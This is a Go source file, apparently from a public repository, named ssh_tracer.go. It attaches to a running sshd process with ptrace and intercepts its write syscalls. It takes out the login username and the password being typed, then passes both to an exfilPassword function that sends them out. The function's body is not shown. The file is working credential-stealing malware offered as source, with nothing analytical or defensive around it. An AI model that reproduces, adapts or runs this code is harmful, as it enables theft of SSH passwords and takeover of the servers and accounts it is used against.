-
Notifications
You must be signed in to change notification settings - Fork 0
/
ssh_tracer.go
71 lines (63 loc) · 1.49 KB
/
ssh_tracer.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package main
import (
"fmt"
"io/ioutil"
"regexp"
"runtime"
"strings"
"syscall"
)
func traceSSHDProcess(pid int) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
err := syscall.PtraceAttach(pid)
if err != nil {
return
}
defer func() {
syscall.PtraceDetach(pid)
}()
var wstatus syscall.WaitStatus
var exfiled bool
for {
_, err := syscall.Wait4(pid, &wstatus, 0, nil)
if err != nil {
return
}
if wstatus.Exited() {
return
}
if wstatus.StopSignal() == syscall.SIGTRAP {
var regs syscall.PtraceRegs
err := syscall.PtraceGetRegs(pid, ®s)
if err != nil {
syscall.PtraceDetach(pid)
return
}
if regs.Rdi == 5 && regs.Orig_rax == 1 {
buffer := make([]byte, regs.Rdx)
_, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer)
if err != nil {
return
}
if len(buffer) < 250 && len(buffer) > 5 && string(buffer) != "" {
username := "root"
cmdline, _ := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
matches := regexp.MustCompile(`sshd: ([a-zA-Z]+) \[net\]`).FindSubmatch(cmdline)
if len(matches) == 2 {
username = string(matches[1])
}
var password = removeNonPrintableAscii(string(buffer))
if len(password) > 2 && len(password) < 100 && exfiled && !strings.HasPrefix(password, "fSHA256") {
go exfilPassword(username, removeNonPrintableAscii(password))
}
exfiled = !exfiled
}
}
}
err = syscall.PtraceSyscall(pid, 0)
if err != nil {
return
}
}
}